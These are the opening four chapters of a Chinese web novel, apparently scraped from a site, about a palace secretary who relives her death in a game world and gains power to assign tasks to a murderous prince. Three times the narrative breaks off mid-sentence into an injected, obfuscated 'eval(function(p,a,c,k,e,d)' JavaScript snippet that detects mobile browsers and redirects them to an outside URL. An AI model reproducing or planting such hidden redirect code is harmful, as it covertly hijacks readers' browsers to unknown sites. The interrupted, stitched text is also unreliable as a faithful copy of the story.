《读档百次无法攻略的你》 1. 第 1 章 刀锋划破脖颈上血管的刹那,周明空的第一反应是冷,第二反应才是大骂了一声。 “你有病吧!” 燕王陈子兆收回手里的刀,从怀中摸出一方巾帕仔仔细细擦拭着刀,“居然还敢骂孤有病?” 周明空瞪着杀她的凶手,还想骂几句,但实在是说不出口了。 鲜血阻塞喉管,进一步掠夺了呼吸。她只能见眼前血红汨汨潺动渐次开成了花,之后是景物渐渐模糊,死不瞑目。 一片黑暗中,周明空看见一朵嫣红的花,和她刚刚看到自己的血流成的花几乎一模一样。 接着花下面浮现一行字—— “多疑的王爷。比起危险的可能,他还是更信任自己手里的刀。” 周明空有些想叹气。一个受上司指令来送佛经的直笔女官能有什么“危险的可能”?刚好撞上燕王和别人密谋也能怪她吗?这纯属燕王本人碰瓷吧? 周明空是个穿越女,她穿越的是时下流行的影游,走着走着剧情就会突然蹦出选项让她选,选错就死的那种。 按照这个游戏设定,只要她按部就班走剧情,每次选择正确选项,她就能成功通关回家。 原本进展非常顺利,新手剧情对她来说简直手到擒来,无非就是遭人陷害、捉拿真凶、洗清冤屈三件套,熟读经典小说、影视剧的现代人对这些套路简直不能更熟悉。 转折点出现在男主陈子兆身上,自从此男一出现,她就好像在渡劫!好像不管怎么选,此男都不满意! 送个温暖他以为她别有所图,抬手就杀。展露才华他觉得她锋芒太盛,顺手就砍。什么都没做他都能找到理由杀她一次又一次。 譬如这一回。 官家随口一句让她们尚书内省选一本佛经拿去给燕王看,让他好好修身养性。结果这差事不偏不倚就落到她头上了。 她只有两个选项,去,和不去。 她选了去。 带着十万分的小心,结果捧着书一进门就听见了燕王和手下小声密谋,冤枉的是她压根没听见他们到底密谋些什么,就被燕王手起刀落,又死了。 ……。 “这是您的第96次死亡,请再试一次。” 周明空慢慢睁开眼。 上次死于给燕王送书,再重来一次的话,选不去是不是就活下来了? 佛经的明黄色封皮在眼前晃,上司吴执事与她相隔数步,正和颜悦色地等着她接下差事。 周明空犹豫了片刻,视线游移了一下,默默选了不去。 随即就见吴执事的脸翻书一样,刚刚还和颜悦色,瞬时揭过一页,冷厉如三九严霜,吴执事的五官本就生得英气,平日笑起来也自带三分凛冽,这么冷着脸一瞥,周遭所有人吓得大气也不敢出。 “官家派下来的差事,还轮得到你在这里挑三拣四?来人,周明空以下犯上,罪在不敬,拖下去处置了吧。” ?? 不去也死是吧? 血又流成了一朵红花,她看着花下的结算文字,“无助的打工人,作为一名小小女官,哪有挑拣工作的自由?” “这是您的第97次死亡,请再试一次。” 行吧,行吧。 周明空顶着一张生无可恋的脸接下了吴执事手里的佛经,又一次来到了燕王陈子兆在宫内的临时居所——庆宁宫。 这次,她多磨蹭了片刻才动身,基本上等了小半个时辰,琢磨燕王就算拉着手下人闲话家常聊八卦也应该聊完了,这才怀抱着那本佛经三步一停地向宫苑方向走。 正是桂花飘落的时节,花落满头,香气萦绕,让她不免有些思念桂花糖。 想吃。 吃不到。 她一个品级末流的小女官,吃什么用什么都要按规矩来,不在品级要求里的东西,想吃什么都想想就算了。 不过还好—— 迈步进宫门的时候,显然燕王已经和他手下完成了密谋,前次死的时候,她连宫门都没进,就被燕王一刀砍了。 这回就没遇上什么险关,她得以捧着书册走近了内殿。但显然刚刚燕王与手下的密谋似乎并不愉快,周明空仔细观察了每一个路过的宫人—— 行色匆匆,容色紧张。 整个宫室里静得落针可闻。 不太妙。 但她抬头偷觑,已正好对上了燕王的目光,这个时候再想跑就太像做贼心虚了,只能硬着头皮把怀里捧着的那本佛经递上。 “殿下,这是官家着尚书内省选的佛经,官家的意思,殿下这几日在宫中小住,刚好可以将养旧患。” 实在是不敢把“修身养性”几个字说出口,好在死在这位杀神手里的次数太多,周明空早就做足了充分准备,知道他旧疾、隐伤都不算少,随口扯个词出来应该也能蒙混过关。 她头沉得低,几乎垂到了胸口,那册佛经则被她高高举起,递到燕王近前。 “头次听说看佛经有助于将养旧患的,”周明空的视线里只能看见陈子兆的脚,他正把一条腿叠在另一条腿上,声音听着是好听的,她甚至像是能听见这位杀神话语里的笑纹,“你倒不如直说,官家让你送本佛经好让我修身养性。” 最后四个字吐得温柔缱绻,倒像那修身养性也是在温柔窟里修的,但已经非常了解他本性的周明空只觉得脊柱发麻。 两指交叠,夹走了她手里那册佛经,接着是纸页翻折的声响,“尚书内省为何择选了这册《无量寿经》?” 好问题,就算她当时问吴执事,恐怕吴执事也说不清。毕竟官家的嘱托就是四个字“修身养性”,佛经字数都不少,能耐着性子通篇读下来,谁都能做到修身养性了。 吴执事多半就是顺手拿了最靠上的,但是这么答就是把自己的脖子送到杀神刀下砍。 周明空脖子凉飕飕的,自己知道是吓出了冷汗,但她刻意地装作若无其事,“《无量寿经》中含阿弥陀佛四十八大愿,这其中自有为万民众生显明清白、宣宏正法的宏愿,殿下手握重器,为官家器重,大约也能理解一二。” 千穿万穿马屁不穿,周明空自我感觉这段话应当是滴水不漏的,她话里话外把燕王恭维了个遍,又夸他重权在握,又说他能为万民谋福祉,这还能惹他生气? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16454229|185313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结果话音才落没多久,陈子兆就把书册摊开,摆到了她面前。 白纸黑字。 “彼佛国中诸菩萨众,悉皆洞视,彻听八方、上下、去来、现在之事。诸天人民,以及蜎飞蠕动之类,心意善恶,口所欲言,何时度脱,得道往生,皆豫知之。”【引自《无量寿经·大士神光第二十八原文】 细而长的食指从每一个字上走过,接着问她:“这段字孤不是很明白,可是说无论孤内心如何作想,做了什么事,诸天神佛都知晓,还要他们来评判,孤所为是善、是恶?” 周明空嗫嚅着答:“怎么会?殿下所为无愧于心,神佛也怪不到殿下身上。” “哦?是吗?”刀身出鞘时会发出一声让人牙酸的金属摩擦响动,周明空只觉得心口一凉,又被燕王捅了个透心凉。 陈子兆抽刀而回,随手从怀里抽出手帕,把沾染的血污擦净,接着随手丢开,丝绸的帕子自周明空眼前抖落,血污成一片。 “孤不喜欢被人围视,人不可,神佛菩萨亦不可。” ……。 燕王,你改名阎王算了。 他根本就没想听她答题,看见那册佛经时候就想要了她的命!这男主能杀吗?能杀吗? 第99次重开,周明空怀里揣着一册佛经,一把水果刀就出门了,发誓这轮必须让这个狗殿下看看什么叫图穷匕见,什么叫荆轲刺秦。 她走得飞快,路上的桂花抖落也沾不得她的衣裙。 她就这般着急忙慌地赶到庆宁宫。 小心谨慎、规行矩步都被她抛到九霄云外,这次到得比燕王手下到得还早,结果刚进宫室大门,一把明晃晃的钢刀就在面前等她,又给她抹了脖子,她都没来得及把小水果刀从怀里掏出来。 燕王一边擦着污血一边温柔地笑,“孤只是在练刀,你怎么自己撞上来了?” 周明空翻了个巨大的白眼,哆哆嗦嗦地倒下了,怀里的佛经和水果刀一并掉出。 陈子兆笑眯眯地用脚尖拨了拨那把小刀,白亮的刃光成了这一次她视线里最后的景象,“原来是刺客,死得倒也不冤。” 周明空在一片漆黑里看着她的结算页面,真情实感地恨得咬牙切齿。 死麻了,这影游真的过不了一点,到底什么人能攻略这个狗男主? 她正找遍了能想到的所有词汇来骂陈子兆,当此时,就见一片漆黑的荧光里突然浮现出一个新的对话框,和她平常见到的请她再玩一次并不相同。 她仔细看了看,“由于您重生九十九次都无法攻略男主,将为您提供新的模式。请问您是否考虑变更?” 周明空险些泪流满面,系统终于想起来给她开个挂了吗?这个金手指再不来她真的要碎了,接着她迫不及待地选择了“是”。 满目漆黑里闪过一道白光,接着周明空面前又弹出了一个对话框。 “恭喜您更换模式,接下来您将获得可以向男主发布强制任务的能力,只是您的重生次数将仅剩一次,祝您游玩愉快。” ……。 有这种限制能不能早点说?现在,她要一命速通了。 2. 第 2 章 殿里的博山炉静默地燃着,烧尽脏腑内的香后就会化成一缕余烬,周明空再一次接过吴执事手里的佛经,漫不经心地挑了挑博山炉里积存的香灰。 “明空,你还不去啊?”眼见都过了两个时辰,接了差事的人还没动,有交好的女官就凑上来问。 吴执事的目光也顺路瞟过来,周明空先是恭谨回了一礼,接着才慢悠悠地道“不急,我手里还有旁的差事没做完。” 她执笔在面前的文书上按照制式批好朱红,又吹了吹那极不易晾干的颜色,放到一旁。 “你小心吴执事罚你啊,官家交代的差事不做,那可是大不敬。” “反正书最后送出去就好了,官家也没讲明是要在何时之前送到。” 交好的女官看她这么成竹在胸,也不好继续多问,也低头做自己的事情去了。 周明空当然不会和其他人解释,她为了这本破书死了4次,说什么也不会再去了,反正不就是把书交给燕王?那她送过去和他自己来拿不是一样的? 虽说尚书内省位在宫闱峻深之中,外臣不得擅入,但他燕王何许人也?规矩法度哪条也不在他眼里,闯个尚书内省算什么事。 手里的笔有些硌手,她放到面前的雕山笔搁上,又活动了下手指。 拿剩下所有命换来的金手指,绝对要大用特用。 周明空这次一睁眼,就发现视野里她多了一个可选按钮,选中就能看到一个新的弹窗,需要她填写的内容共有三栏。 【发布任务内容:】 【完成奖励:】 【失败惩罚:】 简单明了,清晰直接。 只要强制给男主发任务让他自己来拿佛经,那所有问题不就迎刃而解! 他还能来尚书内省练刀?他还能来尚书内省和属下密谋?就算想问为什么选这本书,那边坐着个吴执事也轮不到她来回答。 完美。 所以周明空发布了给燕王陈子兆的第一条任务。 【发布任务内容:一个时辰内前往尚书内省取书】 【完成奖励:《无量寿经》一本】 【失败惩罚:喝水呛着】 一个时辰后周明空收到了燕王陈子兆任务失败的反馈。 不急,第一条任务是应该让这个狗殿下验验真伪。他要是真接到任务就来那真是离谱了。 【发布任务内容:一个时辰内前往尚书内省取书】 【完成奖励:《无量寿经》一本】 【失败惩罚:吃饭呛着】 又一个时辰过去,任务再次失败。周明空毫不犹豫地发布了第三条,内容及奖励不变,失败惩罚变成了当众摔个大马趴。 依照她对陈子兆的了解,他这次必定会来。 活动完了手指,她拿起笔来正准备继续批红,就听殿外一阵吵嚷。 “殿下,您不能进,外臣是不能进尚书内省的,殿下!”接着是疾奔的脚步声和嘈杂的争执。 来了。 周明空施施然从座位上站起,把让她送的那册佛经往怀里一揣,顺带着伸了个懒腰,吴执事咳嗽了一声,她才想起这还在当值的殿里,行止皆要合规,立时又敛了神色,躬身施礼。 “想是燕王殿下到了,奴去给殿下送书。” 吴执事还是和颜悦色,“去吧。” 反正只要老老实实把差事做了,上司挑不出毛病,倒也不会刻意难为。 周明空走得不紧不慢,从阻拦燕王的内官里慢悠悠地排出一条路,等走到陈子兆面前才恭谨行了一礼,“不知殿下此来所为何事?” 直接把书送出去很容易让这位阎王认定这件事和她脱不开关系,绕个弯还是很有必要的。 陈子兆略顿了顿,片刻后方才浅笑着开口:“孤近日偶得一句偈子,百思不得其解,听闻尚书内省藏有不少高僧注释的佛经,特来借阅一观。” 还是他一贯笑面虎的风格,每个字都说得柔软,但周明空却听得他嗓音里略带的沙哑,也不知道是因为喝水呛得还是吃饭噎得。 有点想笑,害得她想了半天自己连死4次的惨剧才憋住了没笑出来。 周明空假作吃惊,“倒是凑巧,奴正想依官家旨意,去给殿下送一册《无量寿经》,既然殿下亲自来了倒省却奴这一趟腿脚之劳。” 她从怀里抽出那册佛经,明皇色的封皮有些晃眼,于是她见得陈子兆浅浅眯了眯眼,仍旧笑意盈眶。他那双眼睛黑白分明,因此瞳仁里只要映出一点光就像暗夜里闪烁的一颗星子,很容易让人误会他是个谦谦君子。 可惜,周明空太知道他的本性了。 “孤有些好奇,尚书内省是提前知晓孤要来取书,还是有什么人,让你们提前备下的?” 周明空面上没有半分不对,“官家命尚书内省选书,尚书内省依命择选,吴执事再交由奴,让奴将佛经送至殿下处。” 没有一样是她周明空的主意,算账也不能找她! 陈子兆脸上笑意不减,把那册佛经从她手里夹了出来,接着,他第一次冷下脸来,看向周遭刚刚来阻拦他闯进尚书内省的内官,“孤与这位内官有话要聊,今次来尚书内省只是来取书,书取到了也不会打扰各位上值。” 话外之意当然是让大家都散了吧。 其他内官面面相觑,本来这位燕王殿下声名在外也没人想惹他,见他确实已经没有硬闯之意,各自确认了一下,也就行礼都退了。 殿门外只剩陈子兆、周明空和花香馥郁的桂花树。 “不知殿下——” 还没说几个字,周明空就感觉一阵天旋地转,下一刻已经被陈子兆按在了桂花树上,冷硬的树皮透过她身上的衣衫烙到皮肤上,第一反应当然是疼,疼得很,但周明空只是蹙了眉,没喊出一声。 乐极生悲了。 “喝水呛着?吃饭噎着?当众摔跤?”陈子兆把拇指和食指一道放到她下颌摩挲,力道不大,但却能迫她双目必须与他相对。 他没笑,眼睛也不像他每次拔刀杀她时那般深不见底,她在其中稀罕地看到了怒气,如海涛惊浪。死了99次,这还真是破天荒头一遭。 周明空平静地回望,依照她一直以来权衡利害,避着所有危险的行事风格,她必定是要用尽全力否定的。 可她着实是死麻了,现在又必须要一命速通,实在是觉得再绕圈子有些无趣,故而她踌躇了片刻,终于开了口:“殿下会来,自然是前两个任务失败后都应了结果,思来想去,当众摔跤着实不雅,所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16454230|185313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才来走这一遭。” 她认了。 陈子兆的目光锁在她身上,她既而看见他眼睛里的波涛平了下来,“孤还以为你又要说些场面话来敷衍。” 他松了松钳制在她下颌的手。 接着他将那只手放到了她的颈上,脉搏随手可握,“可惜了——” 是可惜她难得坦率了一次,却要就此丧命还是在可惜其他的,周明空不得而知。 她仍然平静地盯着他的眼睛,“殿下要赌吗?赌我会不会让你‘不能让我死,不然就要给我赔命’?” 陈子兆收紧了五指,“孤不喜欢被威胁。” 颈上的血管被捏紧,周明空明显感觉到脸部开始充血,紧接着是窒息,她的背脊牢牢贴着桂花树虬结的树皮,被攥捏得在树干上来回磨蹭。 狠话放归放,能发这种任务的话周明空早就发了,现在也不会被陈子兆按在树上捏泥巴一样的揉捏。她方才就试过了,似乎不能发这样指向性不明确的任务。 而发布“不能杀我”这样的任务,又会被系统判定为“当前与男主好感度过低,不能发布此类任务。” 皮肉之痛怎么也是难捱的,加上她已不知道究竟该怎样才能通关这个破游戏,委屈得很,但她觉得此时示弱只会把性命都交付到对方手上,憋着气问他:“殿下真要和奴……赌命吗?” 她气息被制,问得断断续续,没有半点威慑力,可陈子兆就这样收回了手,桂花飘落,衣襟生香,他帮她把衣领重新整好,动作温柔得与方才判若两人,甚至将她挣扎时捩出的褶皱都慢慢抚平。 “孤不喜欢被人威胁,但也不爱做全无把握的事。” 他又恢复了和煦如风的笑,眼睛里如一潭水,粼粼地泛着光,但却见不得潭底,她也不想去探究那有多深的底。 “周宫正,你我也可……来日方长。”他贴近她,在她的耳侧缓慢吐出这样一句话,她听得出他的话外之意。 来日方长,他总有方法处置她,或假手于他人,或寻得其他方法。 而他贴到她身侧的同时,他让开的视野里,她穿过他的肩膀见到尚书内省殿门前站着好几个内官。 刚刚不是都散了吗?好像又因为他们两人闹得动静不小,又聚集到了门前看热闹。更离谱的是,从她们的角度应当看不清陈子兆差点掐死她这个事,只能看清此刻陈子兆贴在她颈侧,状似缱绻的样子。 ?? 周明空在那几个人里清楚看到一缕嫉妒的目光,又暗叫一声不好。这几个人里可是有一个陈子兆的狂热毒唯,第34次死就是因为此人见到陈子兆把他自己的手帕扔给了她。 一块手帕都能要了她的命,现在这样还不得变本加厉地针对她? 你是懂借刀杀人的! 周明空暗暗咬牙,点开了任务发布页面。 【发布任务内容:保持安全距离一尺】 【完成奖励:一天不会接到稀奇古怪的任务】 【失败惩罚:不停打嗝半柱香】 “一个月。”陈子兆伸出一根手指摇了摇。 周明空回以一笑,“好,一个月。” 燕王环抱双肩退开一尺,接着远远地走开。 好,至少这一月能和平共处了。 3. 第 3 章 陈子兆的狂热毒唯叫夏宜人。 名字很好听,四时唯有夏宜人,可人就有点毒。 周明空与陈子兆和平相处的一个月也过得并不安省,很大概率是因为她。 尚书内省既要收拢宫内所有藏书,也需将百官送递官家的奏本分类、初阅,对官家早有交代或常例事项直接照准批红,简而言之既是皇家的私人图书馆,也是皇宫内部的收发文机关兼皇帝的私人秘书。 这个工作很难不和文房四宝、笔墨纸砚打交道。 于是就有了一些很好的,陷害她的办法。 比如不知道为什么,原本摆在尚仪局里专供贵人使用的笔墨纸砚会出现在她的案头,比如她如个厕回来就发现她写了一半的文书里突然出现了一些绝不能使用的谶讳字。 还真是一点新鲜手段也没有。 周明空在被改过的文书上甩了个大墨块,刚好染污那几个“谶讳字”,接着俯身垂首捧着被污了的奏本送到吴执事眼前。 “又是出了何事?”毕竟这几天她周明空确实有些事儿多。 脸上做了些为难姿态,半点不提有人改了她草拟的事,“一时错漏,污了几个字,来找姑姑请贴黄。” 没证据的事,就算现在提出来吴执事也不会帮她。只当是真碰翻了笔,把谶讳字眼盖过去,保证活着顺利走剧情就算了。 结果没想到她预备息事宁人,别人却不准备让她轻松揭过。 夏宜人的位置刚好就在正对着吴执事处,听了她的话冷哼了声:“先是日前借送书之机举止不端,与燕王不清不楚,这几日又是僭越笔墨自己往你桌上跑,又是连字都写不安生,你若做不来这个差事不如自己请辞,早日出宫算了。” 吴执事没搭腔,周明空左右看看,见殿里各位都是看好戏的表情,也只能叹了声。 “宫中规矩,尚书内省的内官和别处宫人不同,六宫二十四司的女官若是做腻了差事,25岁就可放出宫去,咱们这要不是出什么大纰漏,怎么也要做到35岁,夏宫正看不惯我,怕是也要再忍耐个十几年。我建议夏宫正还是尽量看得惯一些,不然这十几年大概还是难过得紧。” 法定退休年龄也不是周明空自己定的,拿话刺她有什么用? 夏宜人显然不长在口舌,她又哼了一声,继续做她的差。周明空转头前瞧见了她那一手好字,楷书端正却每个笔画中也见锋利棱角,不免有些哀叹,不说字如其人吗?怎么字这么漂亮,人却这么刻薄。 她都没问那几个字是不是夏宜人加的,这人反倒真把她息事宁人的措辞当疏漏。 吴执事又挂上了和蔼的笑容,把她手里那份文书揭过,看了一眼,一样也不追究她污的是哪几个字,拿了几块四四方方的黄纸,在背后涂抹浆子,在几个墨块上糊住,再用一方小印在贴黄处压角盖章,以示尚书内省认可贴黄,接着把文书递还给周明空。 “好在是草拟,一两处贴黄也不要紧,待官家阅览确认,誊抄正本时不要再错就是。”周明空躬身应是。 等她接过文书,还没坐回位置,就又被周执事叫住,“且等等,我这还有桩差事,与燕王殿下有些关系。” 殿里抄写的沙沙声都滞了一瞬,周明空隐约察觉好像是所有人都在同一时间停下了手里的活。 她苦笑一声,专门去瞥了眼夏宜人,刚好看见她瞪了自己一眼。 “姑姑这话从何说起?内官不得与外臣私交这点规矩我还是知道的。” 吴执事脸上也看不出什么情绪来,还是那种上司和颜悦色的假面,“我也没有指责你,都是官家交办的差事,你若真有逾矩的行止,我还能容你在这里办事?只是想到哪里说到哪里,尚书内省百年里就出了一个刘娴妃,你要是动了别的心思,于你自身不利。” ……。 当朝刘娴妃,尚书内省唯一一个从典字直笔做到宫妃的传奇人物,她们从进这个殿门开始就一直学习的反面典型。 不好好工作每天就惦记巴结上司搞裙带关系,这看着确实有点招恨。 周明空气得很,陈子兆,合着你打的是这个如意算盘! 就说屋里人这么多为什么能有人随意下手改她写的文书,还能有能耐去尚仪局拿越格的笔墨纸砚塞她桌上,合着本来就是上司在点她。 闯不过去,也就是死了个自己不懂事的内官,闯过去了,后面还有八十一难在等她。 第34回她怎么没发现这点呢?只顾着极速逃生了。 周明空飞速滑跪,“奴没有这个意思。” 吴执事摇了摇头,大概是说有没有这个意思恐怕也不是你能说了算的,她枯瘦如枝干的手从桌案上的一沓子文书中抽出一本来推到她面前。 “这是海图堪舆的留书敕令。” 啊—— 在这等着她呢。 这事还真和燕王有关,海图堪舆这张图就是陈子兆花了七个月时间,自南海开始,督海岸边的各级官员绘造,再将一幅一幅的图绘连成长卷,称之海图堪舆,也就是这张图,交到官家手里阅过之后,也不说留存备用还是即刻刊发专管海运的衙门,就这么放着。 要说起来,绘制堪舆图是大事,毕竟国之大事,在祀与戎,真要是和哪个其他国家打起仗来,地形、地貌、附近城镇情况都是极重要的信息。哪怕这只是个影游,出去七个月,带了张地图回来也属于大功。 而燕王本人交完了图册以后更是被官家留在内宫暂住,不让离京,不许回府,怎么看都不对,只让他们尚书内省选了本书送过去。 书还是佛经。 周明空把这些联系在一处一想,虽然尚不至于串珠成链,但也知道多少有点问题了,暗骂了声自己,该啊,之前怎么没往这个方向上想?如果真是官家和燕王之间出了什么问题,兄弟阋墙,那她那会捧着佛经送过去,让他好好修身养性,那不是活该送命吗? 她看向吴执事,“既是留书敕令,也就是这海图堪舆的事,有结论了?” “不该问的不要问,”吴执事瞥了周明空一眼,把她后面的话都顶了回去,“你也不是头次写留书敕令,这点小事想必不需要别人再教。” 她没急着接,“按一贯的制式来书就是,只是留书于何处还是先要和姑姑确认。” 一般御内留书,要么是留在尚书内省,要么是留在翰林院学士府,如果是皇帝、宫眷平时要看要用的,那都是留在尚书内省,但如果要是和朝外政事有关,就要留书翰林院学士府。 到底往哪留,她可做不了主。 吴执事也犹豫了片刻,方才道:“官家只说留书,不过我想这海图堪舆所载既然都是外朝的事,那就没有留在我们内宫的道理。” 周明空垂首应是,接过了那封空白的敕令。 这还是个坑,只要是留书,不是刊印,那对于陈子兆来说就不是最好结果,七个月心血付诸东流,任谁都会气不打一出来,如果要是一般官员,也只能忍,可那位阎王声名在外,谁知道他发起火来会牵连到谁? 但这和那次送佛经一样,她不接就是挑三拣四的大不敬,接了就是惹陈子兆这位阎王。 穿越之前研究生还没毕业的周明空不由感叹,这就是职场吗?比导师还难伺候。 她捧着文书回了自己的位置,毫不意外地又被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16454231|185313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏宜人瞪了几眼。 真没办法,官家定的事情,吴执事亲自交办,也知道你身为燕王殿下毒唯觉得他受委屈了,可是她又能如何? 就剩一次重生机会了,她总得惜命留着回家。 铺平了面前的文书,她捏起面前的笔,勾了勾墨,开始按制式书写,都是早就烂熟于心的格式,不用片刻就即写完,她将那份文书呈递给吴执事,让她仔细查验过再用印拾捡,这桩差事也就算做完了。 还好,周明空仔细算过,一月之期马上就到,即便惹怒了陈子兆,她也不是一点保命的办法也没有。 结果那封文书发走,周明空忐忑不安地等了数日,外朝、内宫都没任何动静,内侍宦官送来的外朝奏本还是天下承平一片祥和,偶尔听其他宫人谈起,也没听说还住在内宫的燕王有什么动静。 周明空自己是不会去打听什么的,她对杀神阎王避之唯恐不及。 然而她的日子倒也不可能过得那么容易—— 这一日吴执事和手下的所有人都被带到了尚书内省最高级内官崔夫人面前。 “海图堪舆的留书敕令是何人所写?”崔夫人坐在木椅上,手里端着碗茶,旁边放着的敕令周明空看着眼熟,就是她亲手制书,最后由吴执事确认用印的那封。 没人应话,但所有人都看向她。 周明空的面前突然弹出选项框,认还是不认。 崔夫人的视线跟着所有人一道瞟过来,她急忙下跪行礼,“是奴制书。” 崔夫人点了点头,“你制书以后可让吴执事掌过眼?” 绝对出事了。 认,不认。 周明空在两个选项间举棋不定,崔夫人却等不得她慢悠悠地选,一把拂落案上放着的那封文书,敕令绢布缠扣的封面被摔开,内容就摊开在众人面前。 所有人都看见结尾处明晃晃地写着—— “敕令留书翰林院。” 学士府三个字不翼而飞。 三字之差,云泥之别。翰林院学士府总揽国家大事小情,说是外朝中枢也不为过,存留重要图集、文书都算正常,翰林院就不一样了,天文、图画、教材、医药收的五花八门,什么都有,偏偏就是没有政务机要。 把海图堪舆往翰林院送,就和摆明了说这图是玩具没什么两样。 草泥马。 她把那封敕令拿过来仔仔细细地看,笔迹是她的,没有贴黄修改的痕迹,纸张上也没有刮痕,怎么也看不出做手脚的遗痕。想狡辩说自己没写错应当是没戏了。 周明空额头都贴到了地面上,要不要把吴执事交代出来的选项还飘在那。 她犹豫了片刻,选了否,“吴执事将差事交代给奴后就没再过问,最后用印时也是奴问过执事后自行用印,吴执事不知晓制书错漏。” 这件事就同被写了谶讳的那封文书一样,她空口无凭,现在物证在此,只有她和吴执事见过原件写的“翰林院学士府”有什么用?即便把吴执事供出来,也不过是两个人一起背锅,这口锅绝对不会因为多了个人一起就轻一些。 “那你为何写成翰林院?” “奴先问过吴执事是留书何处,当时吴执事说留书无非就是翰林院和尚书内省,这图册既然属朝事外务,那当然不应当留在我们尚书内省。” “奴看留书是图册,不是各部上奏的文书,便以为指的是翰林院,却不知应当是翰林院学士府。” 周明空一边作答,一边看向夏宜人。 这事一定不可能是夏宜人做的,可又能做得这般天衣无缝,也就是说—— 尚书内省里,还有人在做局。 4. 第 4 章 崔夫人一甩袖子,“说实话,讲了实情,我还能保你一命,再固执己见,恐怕——” 威胁。赤裸裸的威胁。 这个影游真是没法玩了,这锅她都背了,还要让她说什么?非把吴执事供出来?崔夫人和吴执事好像也没有那么大的过节,那还能说什么呢? 周明空不由得有些哀叹自己惨不忍睹的命运。一月之期是过了,但陈子兆根本指望不上,即便不受好感度限制,她现在让他拔剑来抢人,可他们俩能活着杀出皇宫的概率也无限趋近于零,真搞出这种事,陈子兆最可能做的还是和她同归于尽吧。 只能自救。 周明空犹豫着,抬头看向周夫人,接着才咬牙道:“夫人可否屏退左右,我才能同夫人讲明实情。” “好。” 人都退了出去,周明空这才俯首叩拜,“奴是想以此计,迫燕王显露不臣之心。” 崔夫人一脸“我早知道”的表情。 行吧。 崔夫人当然压根不信她刚刚的说辞。对她们尚书内省的内官而言,各府职司早就是熟记于心的东西,又何况制书要经司字直笔过目之后才能用印更是死规定。 如果吴执事没过目,根本连印都盖不上。 所以那么离谱的答案交上去,官家那边也不能信,要让这个表面答案能蒙混过关,当然就要给他们一个可以说得过去的隐秘理由。 那便是立场。 好歹周明空也算玩了99轮了,虽然和崔夫人接触得少,也知道她是极忠于官家的人,如果将这次的行为归结成对燕王“不臣之心”的担忧,行为固然不可取,但忠心却可嘉,这是唯一能自救的路。 想通了这条路,她将头牢牢地贴在手上,五指印着青石冷而凉的温度,隐隐有刺骨之疼,“奴以为,燕王陈子兆骄纵暴戾,早有不臣之心,只是此人惯于伪装,所以奴便做了些手脚,只为了让官家一观此人之心。” 崔夫人叹了口气,“谅你一片忠心,但此事做得不妥。” 周明空翻了个大白眼,要不是被迫到这个份上,何至于这么不妥? “罚还是要罚的,此事我会向官家禀明,至于你——六十廷杖免不了,职司从宫正贬为尚仪,近日就不要做诏书草拟的事了,去分拣留书吧。” 周明空叩首应是,接着有内官进来,把她拉下去行刑,打了六十大板,此事才算了结。 夏宜人看她的目光还是嫌恶的,但现在她看夏宜人却很是顺眼。 她基本上已经确定了做局人的手法,制式文书有固定的模板,字写在哪里,只要是做过诏书草拟和文书制书的内官,基本上都清楚,那只要提前偷偷地在空白文书上贴了贴黄,但不做盖章确认,那她实际书写文书时,也很难一眼看出其上早有贴黄。 等到文书写完,再偷偷将那三个字地贴黄揭掉,那谁也不会发现,那里其实原本应该有三个字。 而且她那日已经被和第34次一样的陷害折腾得一叶障目,完全没有想过提防不一样的手段。 这么一来,绝对不会坑害陈子兆的夏宜人反而是目前嫌疑最小的人了。 周明空甚至还对她笑了一下,引得夏宜人退了好几步,直呼“晦气”。 六十大板打得没有任何放水,周明空又体验了一下什么叫屁股开花,好在崔夫人也不是真的想打死她,因此还是从尚食局拿了些伤药给她,只是这药也得她自己涂了。 交好的好友怕血,看见她被内官拖回去时鲜血淋漓的样子就吓得脸色苍白,几乎晕厥,其他人又都知道她犯了事儿,职司都被去了,更不敢在这个时候惹麻烦,简直是避之唯恐不及。 周明空趴在自己的床位上,试探着活动了一下胳膊,牵扯到伤口痛处,冷汗直流,她不由得放下了手,还是等等再上药吧。 此时窗外秋风正起,不知道谁推开了窗,桂花瓣从外闯入,跌落到她枕边,无声无息的,只有一缕幽香慢慢地散进空中。 她又开始想念桂花糕的清甜。 疼痛和对甜食的渴望交杂纠缠,催促着她点开了发放任务的界面。 于此同时,还居于内宫的燕王陈子兆徒手捏碎了一只茶盏,官窑出的青瓷像蛋壳一样,接着碎片就掉到桌案上跌得粉碎,随后他一拂衣袖起身,向殿外走了几步又停了停,转身问侍立在一旁的宫人,“尚食局可有桂花糕?” “殿下这是?”燕王殿下不好饮食,每日尚食局送来的食物基本上动不了几筷子就会被撤掉,更没见他自己要过什么食物。 